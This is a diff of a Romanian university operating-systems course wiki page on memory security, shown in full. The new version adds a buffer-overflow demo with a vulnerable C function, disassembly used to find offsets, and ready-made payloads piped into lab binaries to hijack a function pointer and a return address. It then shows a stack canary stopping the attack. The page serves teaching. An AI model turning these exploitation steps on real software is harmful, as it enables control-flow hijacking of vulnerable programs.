This shows you the differences between two versions of the page.
so:curs:mem-sec [2020/04/01 17:34] razvan.deaconescu |
so:curs:mem-sec [2020/04/06 17:33] (current) alexandru.radovici |
||
---|---|---|---|
Line 1: | Line 1: | ||
- | ====== Curs 08 - Securitatea memoriei ====== | + | ====== Capitol 08 - Securitatea memoriei ====== |
* [[https://drive.google.com/open?id=1jH4kMKuORFdGixehk_5U9WfFV04w_ag9Tv3FEzq7pvE|Notițe de curs]] | * [[https://drive.google.com/open?id=1jH4kMKuORFdGixehk_5U9WfFV04w_ag9Tv3FEzq7pvE|Notițe de curs]] | ||
Line 14: | Line 14: | ||
* [[http://shell-storm.org/shellcode/|Shellcodes Database]] | * [[http://shell-storm.org/shellcode/|Shellcodes Database]] | ||
* [[http://stackoverflow.com/questions/79923/what-and-where-are-the-stack-and-heap|What and where are the stack and heap?]] | * [[http://stackoverflow.com/questions/79923/what-and-where-are-the-stack-and-heap|What and where are the stack and heap?]] | ||
+ | |||
+ | * Filmări | ||
+ | * 3CA [[https://web.microsoftstream.com/video/631f6edd-2f5b-474e-9f87-ae4edecbd93d]] | ||
+ | * 3CC, curs 11, partea 1: https://web.microsoftstream.com/video/ff52e02f-c2dc-49d6-b227-2dc9a1026625 | ||
+ | * 3CC, curs 11, partea a 2-a: https://web.microsoftstream.com/video/7bae5cdb-0a54-4f2e-b5a5-df039790ac37 | ||
+ | | ||
+ | * Curs CA [[https://www.slideshare.net/alexandruradovici/sisteme-de-operare-securitatea-memoriei|slideshare]] | ||
===== Demo-uri ===== | ===== Demo-uri ===== | ||
Line 27: | Line 34: | ||
Acum putem parcurge secțiunile cu demo-uri de mai jos. | Acum putem parcurge secțiunile cu demo-uri de mai jos. | ||
- | ==== Secțiuni și adrese în cadrul unui fișier executabil ==== | + | ==== Reminder: Buffer overflow ==== |
- | Dorim să urmărim adresele secțiunilor și simbolurilor în cadrul unui fișier executabil de tip ELF (//Executable and Linking Format//). Pentru aceasta accesăm subdirectorul ''exec-addr/''; urmărim conținutul fișierului ''exec-addr.c''. În acest fișier definim variabile globale și afișăm adresele acestor variabile și a funcțiilor din modul. Vom observa că adresele variabilelor globale și a funcțiior sunt cunoscute de la link-time, în momentul link-editării și a obținerii executabilului. | + | La [[https://ocw.cs.pub.ro/courses/iocla|IOCLA]] am descoperit cum se folosește stiva și cum putem face primii pași în exploatarea unei vulnerabilități de tip buffer overflow. În exercițiile de la IOCLA am exploatat o vulnerabilitate de tipul buffer overflow și am suprascris adresa de retur a unei funcții cu o valoare convenabilă, modificând astfel fluxul de execuție al programului (//control flow hijack//). |
- | Compilăm programul folosind ''make''. | + | În subdirectorul ''buffer-overflow/'' trecem printr-un exercițiu de tipul buffer overflow. În fișierul ''buffer-overflow.c'' avem codul sursă al unui program cu o vulnerabilitate evidentă în funcția ''read_data()'': |
+ | <code C> | ||
+ | static size_t read_data(void) | ||
+ | { | ||
+ | [...] | ||
+ | char buffer[16]; | ||
- | Pentru început investigăm simbolurile din executabil. Ne interesează variabilele globale și funcțiile așa că vom rula comanda de afișare a simbolurilor din care vom extrage liniile de interes:<code bash> | + | [...] |
- | user@host:$ objdump --syms exec-addr | grep '\(exec_\| main\|simple_func\)' | + | fgets(buffer, 48, stdin); |
- | 0000000000600da0 l O .data 0000000000000004 exec_static_int_global | + | [...] |
- | 000000000040076b l F .text 000000000000001a simple_func | + | |
- | 0000000000600dc4 g O .bss 0000000000000004 exec_int_global_noinit | + | |
- | 0000000000600da4 g O .data 0000000000000004 exec_int_global | + | |
- | 00000000004008b8 g O .rodata 0000000000000006 exec_array_ro | + | |
- | 0000000000400785 g F .text 000000000000009c main | + | |
</code> | </code> | ||
- | Prin rularea comenzii objdump de mai sus afișăm informații despre simboluri, în format pe coloane, astfel: | + | În funcție, deși ''buffer'' ocupă 16 octeți, citim ''48'' de octeți ducând la un buffer overflow. |
- | * În prima coloană sunt adresele simbolurilor. Aceste adrese se vor regăsi întocmai în proces (vom vedea în continuare). Adresele pot să difere în cazul obținerii executabilului pe alt sistem. | + | |
- | * A doua coloană este tipul simbolului. Simbolurile statice sunt marcate cu ''l'' (//local//) pentru că vor fi locale modulului. Celelalte sunt marcate cu ''g'' (//global//) și vor putea fi exportate în alte module. | + | |
- | * A patra coloană este secțiunea din executabil unde este alocat simbolul. Simbolul este alocat în modul încă de la compile-time. Secțiunile sunt după cum urmează: | + | |
- | * ''.data'': variabile globale inițializate | + | |
- | * ''.bss'': variabile globale neinițializate | + | |
- | * ''.rodata'': variabile globale de tip read-only | + | |
- | * ''.text'': zonă de cod/instrucțiuni (pentru funcții) | + | |
- | * A cincea coloană este spațiul ocupat de simbol. Variabilele întregi ocupă ''sizeof(int) = 4'' octeți, șirul de caractere ocupă 6 octeți (incluzând NUL-terminatorul) iar funcțiile ocupă spațiul dat de codul acestora. | + | |
- | Observăm că zona de date read-only (''.rodata'') este apropiată de zona de cod (''.text'') ambele fiind zone care nu pot fi scrise. | + | Dorim exploatarea acestui program în două moduri, ambele vizând suprascrierea unui pointer de cod (//code pointer//): |
+ | * suprascrierea pointer-ului de funcție ''func_ptr'' | ||
+ | * suprascrierea adresei de retur a funcției ''read_data()'' | ||
- | Ca să verificăm faptul că adresele precizate în executabil se vor regăsi și în momentul rulării procesului, la run-time, rulăm executabilul:<code bash> | + | Pentru aceasta folosim programele executabile deja create: ''buffer-overflow-32'' (pe 32 de biți) și ''buffer-overflow'' (pe 64 de biți). Vom genera intrări convenabile (//payload//-uri) pe care le vom furniza la intrarea programelor pentru a suprascrie pointerii de cod și a genera apelul funcției ''inject_func()''. |
- | $ ./exec-addr | + | |
- | Inside simple_func | + | |
- | Run-time addresses are: | + | <note warning> |
- | &exec_static_int_global: 0x600da0 | + | **Nu** folosiți comanda ''make'' pentru a regenera executabilele. O nouă compilare a acestora va afecta codul generat și payload-urile de exploit-uri din acest demo nu vor mai funcționa. |
- | &exec_int_global: 0x600da4 | + | </note> |
- | &exec_int_global_noinit: 0x600dc4 | + | |
- | &exec_array_ro: 0x4008b8 | + | |
- | &simple_func: 0x40076b | + | |
- | &main: 0x400785 | + | |
- | Run `pmap -p $(pidof exec-addr)' to show process map. | + | Pentru a genera payload-urile, urmărim în fișierul executabil generat plasarea în memorie a buffer-ului. Folosim analiză statică și dezasamblăm codul executabilului folosind ''objdump'': |
- | Press ENTER to continue ... | + | <code> |
- | </code> | + | $ objdump -d -M intel buffer-overflow |
+ | [...] | ||
+ | 0000000000400697 <actual_func>: | ||
+ | [...] | ||
- | Observăm din rezultatul rulării că adresele de la run-time sunt aceleași cu cele din executabil. | + | 00000000004006a8 <inject_func>: |
+ | [...] | ||
- | După cum ni se indică la rulare, vom rula ''pmap'' pentru a consulta spațiul virtual de adresă al procesului:<code bash> | + | 00000000004006c0 <read_data>: |
- | $ pmap -p $(pidof exec-addr) | + | 4006c0: 55 push rbp |
- | 13545: ./exec-addr | + | 4006c1: 48 89 e5 mov rbp,rsp |
- | 0000000000400000 4K r-x-- /home/razvan/school/2011-2012/so/git-repos/cursuri.git/curs-07-demo/exec-addr/exec-addr | + | 4006c4: 48 83 ec 20 sub rsp,0x20 |
- | 0000000000600000 4K rw--- /home/razvan/school/2011-2012/so/git-repos/cursuri.git/curs-07-demo/exec-addr/exec-addr | + | 4006c8: 48 c7 45 f8 97 06 40 mov QWORD PTR [rbp-0x8],0x400697 |
- | 00007fd884842000 1664K r-x-- /lib/x86_64-linux-gnu/libc-2.18.so | + | 4006cf: 00 |
- | 00007fd8849e2000 2044K ----- /lib/x86_64-linux-gnu/libc-2.18.so | + | 4006d0: 48 8d 45 e0 lea rax,[rbp-0x20] |
- | 00007fd884be1000 16K r---- /lib/x86_64-linux-gnu/libc-2.18.so | + | 4006d4: ba 10 00 00 00 mov edx,0x10 |
- | 00007fd884be5000 8K rw--- /lib/x86_64-linux-gnu/libc-2.18.so | + | 4006d9: be 41 00 00 00 mov esi,0x41 |
- | 00007fd884be7000 16K rw--- [ anon ] | + | 4006de: 48 89 c7 mov rdi,rax |
- | 00007fd884beb000 128K r-x-- /lib/x86_64-linux-gnu/ld-2.18.so | + | 4006e1: e8 9a fe ff ff call 400580 <memset@plt> |
- | 00007fd884dcf000 12K rw--- [ anon ] | + | [...] |
- | 00007fd884e06000 16K rw--- [ anon ] | + | |
- | 00007fd884e0a000 4K r---- /lib/x86_64-linux-gnu/ld-2.18.so | + | |
- | 00007fd884e0b000 4K rw--- /lib/x86_64-linux-gnu/ld-2.18.so | + | |
- | 00007fd884e0c000 4K rw--- [ anon ] | + | |
- | 00007fffb51d1000 132K rw--- [ stack ] | + | |
- | 00007fffb51fe000 8K r-x-- [ anon ] | + | |
- | ffffffffff600000 4K r-x-- [ anon ] | + | |
- | total 4068K | + | |
</code> | </code> | ||
- | Legat de partea de executabil, observăm că avem două pagini (''4K'') mapate din executabilul ''exec-addr''. Una este readable/executable (''r-x'') și începe de la adresa ''0x400000'', iar alta este readable/writable (''rw-'') și începe de la adresa ''0x600000''. În prima pagină sunt mapate secțiunile ''.text'' și ''.rodata'', iar în cealaltă sunt mapate secțiunile ''.data'' și ''.bss''; observăm acest lucru pe baza adreselor. | + | Din secvența de dezasamblare de mai sus extragem informațiile: |
- | ==== Adrese pentru biblioteci partajate ==== | + | * adresa funcției ''actual_func'' este ''0x400697'' |
+ | * adresa funcției ''inject_func'' este ''0x4006a8'' | ||
+ | * pointer-ul ''func_ptr'' este plasat la adresa ''rbp-0x8'' | ||
+ | * buffer-ul ''buffer'' este plasat la adresa ''rbp-0x20'' | ||
- | Vrem să vedem cum ajung informațiile (date și instrucțiuni) dintr-o bibliotecă partajată într-un executabil. Pentru aceasta urmărim rularea comenzii ''pmap'' de la secțiunea anterioară. | + | În mod similar, obținem informații și prin dezasamblarea executabilului pe 32 de biți: |
- | În cadrul comenzii observăm că atât fișierul executabil care a generat procesul (''exec-addr'') cât și fișierele de tip bibliotecă partajată sunt mapate în memorie. Fișierele de tip bibliotecă partajată sunt tot fișiere ELF, cu secțiuni și simboluri similare unui fișier executabil obișnuit. Observăm că pentru fiecare bibliotecă avem, în cadrul procesului (output-ul comenzii) mai multe zone de dimensiuni și permisiuni diferite, mapate în spațiul de adresă al procesului. Astfel, pentru o bibliotecă putem avea: | + | <code> |
- | * o zonă readable/executable (''r-x'') pentru cod/instrucțiuni (secțiunea ''.text'') | + | $ objdump -d -M intel buffer-overflow-32 |
- | * o zonă read-only (''r--'') pentru date read-only (secțiunea ''.rodata'') | + | [...] |
- | * o zonă read-write (''rw-'') pentru date read-write (secțiunile ''.data'', ''.bss'') | + | 08048546 <actual_func>: |
+ | [...] | ||
- | Bibliotecile dinamice nu sunt, în general, mapate la o adresă predefinită. De aceea, dacă rulăm de mai multe ori executabilul și apoi comanda ''pmap'' vom vedea că zonele din biblioteci sunt mapate la adrese diferite de fiecare dată. Acest lucru se întâmplă din rațiuni de securitate folosind ASLR (//Address Space Layout Randomization//). Dacă un atacator vrea să folosească adrese din cadrul spațiului de adresă al procesului îi va fi dificil pentru că nu știe unde sunt mapate. | + | 0804855f <inject_func>: |
+ | [...] | ||
- | Acest lucru poate fi observat prin rularea de mai multe ori a comenzii ''ldd'' peste executabil. La fiecare rulare va fi vorba de altă adresă unde va fi mapată biblioteca:<code bash> | + | 0804857f <read_data>: |
- | $ ldd exec-addr | + | 804857f: 55 push ebp |
- | linux-vdso.so.1 (0x00007fff399fe000) | + | 8048580: 89 e5 mov ebp,esp |
- | libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f8614d8a000) | + | 8048582: 83 ec 28 sub esp,0x28 |
- | /lib64/ld-linux-x86-64.so.2 (0x00007f861516b000) | + | 8048585: c7 45 f4 46 85 04 08 mov DWORD PTR [ebp-0xc],0x8048546 |
- | $ ldd exec-addr | + | 804858c: 83 ec 04 sub esp,0x4 |
- | linux-vdso.so.1 (0x00007fff7a7b4000) | + | 804858f: 6a 10 push 0x10 |
- | libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff7c3dfc000) | + | 8048591: 6a 41 push 0x41 |
- | /lib64/ld-linux-x86-64.so.2 (0x00007ff7c41dd000) | + | 8048593: 8d 45 e4 lea eax,[ebp-0x1c] |
+ | 8048596: 50 push eax | ||
+ | 8048597: e8 74 fe ff ff call 8048410 <memset@plt> | ||
</code> | </code> | ||
- | ==== Stiva unui proces ==== | ||
- | Dorim să urmărim evoluția stivei unui proces raportat la fluxul de execuție al acestuia (apeluri de funcții și rulare de instrucțiuni). Pentru aceasta accesăm subdirectorul ''stack/''; urmărim conținutul fișierului ''stack.c''. În acest fișier din funcția ''main'' apelăm funcția ''read_data''; funcția ''read_data'' definește un pointer de funcție (''func_ptr'') și un buffer (''buffer''). Pe moment nu ne interesează funcționalitatea mai mult de atât. | + | Din secvența de dezasamblare de mai sus extragem informațiile: |
+ | * adresa funcției ''actual_func'' este ''0x08048546'' | ||
+ | * adresa funcției ''inject_func'' este ''0x0804855f | ||
+ | * pointer-ul ''func_ptr'' este plasat la adresa ''ebp-0xc'' | ||
+ | * buffer-ul ''buffer' este plasat la adresa ''ebp-0x1c'' | ||
- | Compilăm programul folosind ''make''. | + | Cu aceste informații putem calcula offset-ul dintre buffer și pointer-ul de funcție ''func_ptr'', respectiv adresa de retur a funcției. Adresa de retur a funcției se găsește la adresa ''ebp+4'' pe 32 de biți, respectiv la adresa ''rbp+8'' pe 64 de biți. Și genera payload-urile pentru exploatarea programelor. Aceste lucru este realizat în fișierul ''payloads.py'' și obținem payload-urile prin interpretarea fișierului: |
- | === Pornire proces === | + | <code> |
+ | $ python3 payloads.py | ||
+ | overwrite func_ptr (32 bits): \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x5f\x85\x04\x08 | ||
+ | overwrite return address (32 bits): \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x46\x85\x04\x08\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x5f\x85\x04\x08 | ||
+ | overwrite func_ptr (64 bits): \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xa8\x06\x40\x00\x00\x00\x00\x00 | ||
+ | overwrite return address (64 bits): \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x97\x06\x40\x00\x00\x00\x00\x00\x41\x41\x41\x41\x41\x41\x41\x41\xa8\x06\x40\x00\x00\x00\x00\x00 | ||
+ | overwrite return address (SSP, 64 bits): \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x18\x07\x40\x00\x00\x00\x00\x00 | ||
+ | </code> | ||
- | Vrem să urmărim evoluția stivei în momentul în care programul apelează funcția ''read_data''. Pentru aceasta vom rula programul în debugger (''gdb'') și vom afișa codul dezasamblat, stiva, registrul de stivă/stack pointer-ul (''esp''), registrul de instrucțiune/instruction pointer-ul/program counter-ul (''eip'') sau frame pointer-ul (''ebp''). | + | Putem folosi aceste payload-uri pentru a exploata vulnerabilitatea de tip buffer overflow din cadrul programelor ''buffer-overflow'' și ''buffer-overflow-32'': |
+ | <code> | ||
+ | $ echo -e '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x5f\x85\x04\x08' | ./buffer-overflow-32 | ||
+ | Insert message (less than 16 bytes): Call injected function. | ||
- | Pentru început pornim programul și investigăm codul dezasamblat, instruction pointer-ul, stack pointer-ul și stiva:<code bash> | + | $ echo -e '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x46\x85\x04\x08\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x5f\x85\x04\x08' | ./buffer-overflow-32 |
- | $ gdb -q ./stack | + | Insert message (less than 16 bytes): Call actual function. |
- | Reading symbols from /home/razvan/school/2011-2012/so/git-repos/cursuri.git/curs-07-demo/stack/stack...done. | + | |
- | (gdb) b main | + | |
- | Breakpoint 1 at 0x80485aa: file stack.c, line 37. | + | |
- | (gdb) run | + | |
- | Starting program: /home/razvan/school/2011-2012/so/git-repos/cursuri.git/curs-07-demo/stack/./stack | + | |
- | warning: Could not load shared library symbols for linux-gate.so.1. | + | |
- | Do you need "set solib-search-path" or "set sysroot"? | + | |
- | Breakpoint 1, main () at stack.c:37 | + | Call injected function. |
- | 37 size_t len = 0; | + | |
- | (gdb) disassemble | + | |
- | Dump of assembler code for function main: | + | |
- | 0x080485a1 <+0>: push %ebp | + | |
- | 0x080485a2 <+1>: mov %esp,%ebp | + | |
- | 0x080485a4 <+3>: and $0xfffffff0,%esp | + | |
- | 0x080485a7 <+6>: sub $0x20,%esp | + | |
- | => 0x080485aa <+9>: call 0x804853f <read_data> | + | |
- | 0x080485af <+14>: mov %eax,0x1c(%esp) | + | |
- | 0x080485b3 <+18>: mov 0x1c(%esp),%eax | + | |
- | 0x080485b7 <+22>: mov %eax,0x4(%esp) | + | |
- | 0x080485bb <+26>: movl $0x80486b8,(%esp) | + | |
- | 0x080485c2 <+33>: call 0x8048390 <printf@plt> | + | |
- | 0x080485c7 <+38>: mov $0x0,%eax | + | |
- | 0x080485cc <+43>: leave | + | |
- | 0x080485cd <+44>: ret | + | |
- | End of assembler dump. | + | |
- | (gdb) p $eip | + | |
- | $1 = (void (*)()) 0x80485aa <main+9> | + | |
- | (gdb) p $esp | + | |
- | $2 = (void *) 0xffffd290 | + | |
- | (gdb) x/2wx $esp | + | |
- | 0xffffd290: 0x00000001 0xffffd354 | + | |
- | </code> | + | |
- | În secvența de mai sus, am folosit breakpoint pentru ''main'' și apoi am rulat programul până la breakpoint. Instruction pointer-ul este la începutul programului (adresa ''0x80485aa''), iar stack pointer-ul are valoarea ''0xffffd290''. Pe stivă se găsesc valori random din ceea ce era anterior pe stivă. | + | $ echo -e '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xa8\x06\x40\x00\x00\x00\x00\x00' | ./buffer-overflow |
+ | Insert message (less than 16 bytes): Call injected function. | ||
- | === Apelare de funcție === | + | $ echo -e '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x97\x06\x40\x00\x00\x00\x00\x00\x41\x41\x41\x41\x41\x41\x41\x41\xa8\x06\x40\x00\x00\x00\x00\x00' | ./buffer-overflow |
+ | Insert message (less than 16 bytes): Call actual function. | ||
- | Următoarea instrucțiune care va fi rulată va fi apelul funcției ''read_data''. Este vorba de instrucțiunea:<code> | + | Call injected function. |
- | => 0x080485aa <+9>: call 0x804853f <read_data> | + | |
</code> | </code> | ||
- | Verificăm faptul că aceea este adresa funcției și apoi executăm acea instrucțiune; folosim ''si'': //step instruction//:<code bash> | + | ==== Mecanisme defensive: SSP, ASan, ASLR / PIE ==== |
- | (gdb) p read_data | + | |
- | $1 = {size_t (void)} 0x804853f <read_data> | + | |
- | (gdb) si | + | |
- | read_data () at stack.c:23 | + | |
- | 23 { | + | |
- | (gdb) disassemble | + | |
- | Dump of assembler code for function read_data: | + | |
- | => 0x0804853f <+0>: push %ebp | + | |
- | 0x08048540 <+1>: mov %esp,%ebp | + | |
- | 0x08048542 <+3>: sub $0x38,%esp | + | |
- | 0x08048545 <+6>: movl $0x804850d,-0xc(%ebp) | + | |
- | 0x0804854c <+13>: movl $0x10,0x8(%esp) | + | |
- | 0x08048554 <+21>: movl $0x41,0x4(%esp) | + | |
- | 0x0804855c <+29>: lea -0x1c(%ebp),%eax | + | |
- | 0x0804855f <+32>: mov %eax,(%esp) | + | |
- | 0x08048562 <+35>: call 0x8048400 <memset@plt> | + | |
- | 0x08048567 <+40>: movl $0x8048690,(%esp) | + | |
- | [...] | + | |
- | (gdb) p $eip | + | |
- | $2 = (void (*)()) 0x804853f <read_data> | + | |
- | (gdb) p $esp | + | |
- | $3 = (void *) 0xffffd28c | + | |
- | (gdb) x/3wx $esp | + | |
- | 0xffffd28c: 0x080485af 0x00000001 0xffffd354 | + | |
- | </code> | + | |
- | În rularea de mai sus am verificat faptul că apelul call se face către funcția ''read'' data și apoi facem apelul cu ajutorul operației ''si'' (//step instruction//) din GDB. Ca urmare a acestui apel au loc următoarele schimbări, echivalente pentru ''call'': | + | Pentru a proteja programele de efectele buffer overflow-urilor, acestea pot fi augmentate cu mecanisme defensive. |
- | * Se face loc pe stivă, adică stack pointer-ul este decrementat cu dimensiunea cuvântului procesului (32 de biți, 4 octeți) de la valoarea ''0xffffd290'' la valoarea ''0xffffd28c''. | + | |
- | * Se scrie în acel loc pe stivă valoarea instruction pointer-ului, adică adresa următoarei instrucțiuni, în cazul nostru ''0x080485af''. | + | |
- | * Se sare la adresa funcției ''read_data'', adică ''0x0804853f''. | + | |
- | În pseudo-assembly, cele de mai sus pot fi considerate ca:<code> | + | |
- | pushl %eip ; equivalent to pushl 0x080485af | + | |
- | jmp read_data ; equivalent to jmp 0x0804853f | + | |
- | </code> | + | |
- | === Alocare spațiu pentru buffer local === | + | === SSP === |
- | După saltul la funcție se execută instrucțiunile din acea funcție. Primele instrucțiuni vor salva pe stivă, după adresa de retur, fostul framepointer (''ebp'') și vor plasa noul frame pointer în poziția curentă a stivei. Pe stivă vom avea, de sus în jos: | + | Un prim mecanism defensiv este Stack Smashing Protection (SSP) numit și Stack Guard, mecanism ce constă din plasarea unei valori (numită //canary//) pe stivă între buffere și adresa de retur. Această valoare este inițializată la intrarea într-o funcție și verificată la ieșirea din funcție. Putem urmări prezența //stack canary// prin analiză statică: |
- | * adresa de retur | + | |
- | * fost frame pointer | + | |
- | Valoarea actuală a frame pointer-ului referă o adresă unde este stocat frame pointer-ul. Patru octeți mai sus este stocată adresa de retur. | + | |
- | Pentru a executa aceste două instrucțiuni rulăm de două ori comanda ''si'' (//step instruction//):<code bash> | + | <code> |
- | (gdb) si | + | $ objdump -d -M intel buffer-overflow-ssp |
- | 0x08048540 23 { | + | |
- | (gdb) si | + | |
- | 0x08048542 23 { | + | |
- | (gdb) disassemble | + | |
- | Dump of assembler code for function read_data: | + | |
- | 0x0804853f <+0>: push %ebp | + | |
- | 0x08048540 <+1>: mov %esp,%ebp | + | |
- | => 0x08048542 <+3>: sub $0x38,%esp | + | |
- | 0x08048545 <+6>: movl $0x804850d,-0xc(%ebp) | + | |
- | 0x0804854c <+13>: movl $0x10,0x8(%esp) | + | |
- | 0x08048554 <+21>: movl $0x41,0x4(%esp) | + | |
- | 0x0804855c <+29>: lea -0x1c(%ebp),%eax | + | |
- | 0x0804855f <+32>: mov %eax,(%esp) | + | |
- | 0x08048562 <+35>: call 0x8048400 <memset@plt> | + | |
- | [...] | + | |
- | ---Type <return> to continue, or q <return> to quit---q | + | |
- | Quit | + | |
- | (gdb) p $esp | + | |
- | $4 = (void *) 0xffffd288 | + | |
- | (gdb) p $ebp | + | |
- | $5 = (void *) 0xffffd288 | + | |
- | (gdb) x/4wx $ebp | + | |
- | 0xffffd288: 0xffffd2b8 0x080485af 0x00000001 0xffffd354 | + | |
- | </code> | + | |
- | + | ||
- | În urma acestor pași stack pointer-ul a mai scăzut cu încă un cuvânt de procesor (32 de biți, 4 octeți) la valoare ''0xffffd288''. Frame pointer-ul are aceeași valoare și, pe stivă, se găsește acum: | + | |
- | * valoarea fostului frame pointer (''0xffffd2b8'') | + | |
- | * adresa de retur a funcției (''0x080385af'') | + | |
- | În continuare se rezervă spațiu pe stivă (''0x38'' - 56 de octeți) suficient pentru a acoperi nevoia pointer-ului (de 4 octeți) și a buffer-ului (de 16 octeți). Compilatorul alocă mai mult spațiu. Stack pointer-ul va fi decrementat cu ''0x38'' octeți. Ținând cont de actuala valoare (''0xffffd288'') rezultă că noua valoare va fi ''0xffffd288 - 0x38 = 0xffffd250''. Verificăm acest lucru executând o nouă instrucțiune, folosind ''si'' (//step instruction//) în GDB:<code bash> | + | 0000000000400730 <read_data>: |
- | (gdb) si | + | 400730: 55 push rbp |
- | 24 void (*func_ptr)(void) = actual_func; | + | 400731: 48 89 e5 mov rbp,rsp |
- | (gdb) disassemble | + | 400734: 48 83 ec 30 sub rsp,0x30 |
- | Dump of assembler code for function read_data: | + | 400738: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28 |
- | 0x0804853f <+0>: push %ebp | + | 40073f: 00 00 |
- | 0x08048540 <+1>: mov %esp,%ebp | + | 400741: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax |
- | 0x08048542 <+3>: sub $0x38,%esp | + | [...] |
- | => 0x08048545 <+6>: movl $0x804850d,-0xc(%ebp) | + | 40079e: 48 8b 4d f8 mov rcx,QWORD PTR [rbp-0x8] |
- | 0x0804854c <+13>: movl $0x10,0x8(%esp) | + | 4007a2: 64 48 33 0c 25 28 00 xor rcx,QWORD PTR fs:0x28 |
- | 0x08048554 <+21>: movl $0x41,0x4(%esp) | + | 4007a9: 00 00 |
- | 0x0804855c <+29>: lea -0x1c(%ebp),%eax | + | 4007ab: 74 05 je 4007b2 <read_data+0x82> |
- | 0x0804855f <+32>: mov %eax,(%esp) | + | 4007ad: e8 1e fe ff ff call 4005d0 <__stack_chk_fail@plt> |
- | 0x08048562 <+35>: call 0x8048400 <memset@plt> | + | 4007b2: c9 leave |
- | 0x08048567 <+40>: movl $0x8048690,(%esp) | + | 4007b3: c3 ret |
- | [...] | + | |
- | ---Type <return> to continue, or q <return> to quit---q | + | |
- | Quit | + | |
- | (gdb) p $esp | + | |
- | $6 = (void *) 0xffffd250 | + | |
</code> | </code> | ||
- | Se schimbă într-adevăr valoarea stack pointer-ului. | + | Mai sus canary-ul a fost plasat pe stivă la adresa ''rbp-0x8''. La finalul funcției se verifică valoarea sa. Dacă valoarea a fost schimbată, a existat o suprascriere posibil cauzată din cauza unui atac de tipul buffer overflow și se apelează funcția ''<nowiki>__stack_chk_fail</nowiki>'' care va încheia execuția programului împreună cu afișarea unui mesaj specific: |
- | === Adresă buffer pe stivă === | + | <code> |
+ | $ echo -e '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x18\x07\x40\x00\x00\x00\x00\x00' | ./buffer-overflow-ssp | ||
+ | Insert message (less than 16 bytes): Call actual function. | ||
- | Vrem să vedem unde este alocat buffer-ul pe stivă. Pe lângă urmărirea codului în assembly, am decis să folosim ''memset'' pentru a umple buffer-ul cu valori ''0x41''. Folosim operații ''ni'' (next instruction) pentru a trece de apelul ''memset'', adică să ajungem la linia ''movl $0x8048690,(%esp)''':<code> | + | *** stack smashing detected ***: <unknown> terminated |
- | (gdb) ni | + | Aborted (core dumped) |
- | 24 void (*func_ptr)(void) = actual_func; | + | |
- | (gdb) ni | + | |
- | 27 memset(buffer, 'A', 16); | + | |
- | (gdb) ni | + | |
- | 0x08048554 27 memset(buffer, 'A', 16); | + | |
- | (gdb) ni | + | |
- | 0x0804855c 27 memset(buffer, 'A', 16); | + | |
- | (gdb) ni | + | |
- | 0x0804855f 27 memset(buffer, 'A', 16); | + | |
- | (gdb) ni | + | |
- | 0x08048562 27 memset(buffer, 'A', 16); | + | |
- | (gdb) ni | + | |
- | 28 printf("Insert message (less than 16 bytes): "); | + | |
- | (gdb) disassemble | + | |
- | Dump of assembler code for function read_data: | + | |
- | 0x0804853f <+0>: push %ebp | + | |
- | 0x08048540 <+1>: mov %esp,%ebp | + | |
- | 0x08048542 <+3>: sub $0x38,%esp | + | |
- | 0x08048545 <+6>: movl $0x804850d,-0xc(%ebp) | + | |
- | 0x0804854c <+13>: movl $0x10,0x8(%esp) | + | |
- | 0x08048554 <+21>: movl $0x41,0x4(%esp) | + | |
- | 0x0804855c <+29>: lea -0x1c(%ebp),%eax | + | |
- | 0x0804855f <+32>: mov %eax,(%esp) | + | |
- | 0x08048562 <+35>: call 0x8048400 <memset@plt> | + | |
- | => 0x08048567 <+40>: movl $0x8048690,(%esp) | + | |
- | 0x0804856e <+47>: call 0x8048390 <printf@plt> | + | |
- | [...] | + | |
- | ---Type <return> to continue, or q <return> to quit---q | + | |
</code> | </code> | ||
- | În continuare vrem să afișăm conținutul stivei între frame pointer + 4 (unde se găsește adresa de retur) până la poziția curentă a stack pointer-ului. Folosim o expresie ''while'' specifică GDB:<code> | + | === ASan === |
- | (gdb) set $pos=0 | + | |
- | (gdb) while ($pos <= ($ebp+4-$esp)) | + | |
- | >x/wx $ebp+4-$pos | + | |
- | >set $pos=$pos+4 | + | |
- | >end | + | |
- | 0xffffd28c: 0x080485af | + | |
- | 0xffffd288: 0xffffd2b8 | + | |
- | 0xffffd284: 0x0000002f | + | |
- | 0xffffd280: 0xffffd4cf | + | |
- | 0xffffd27c: 0x0804850d | + | |
- | 0xffffd278: 0x41414141 | + | |
- | 0xffffd274: 0x41414141 | + | |
- | 0xffffd270: 0x41414141 | + | |
- | 0xffffd26c: 0x41414141 | + | |
- | 0xffffd268: 0xf7e05bf8 | + | |
- | 0xffffd264: 0xffffd28e | + | |
- | 0xffffd260: 0xffffffff | + | |
- | 0xffffd25c: 0xf7e8e056 | + | |
- | 0xffffd258: 0x00000010 | + | |
- | 0xffffd254: 0x00000041 | + | |
- | 0xffffd250: 0xffffd26c | + | |
- | (gdb) p $ebp | + | |
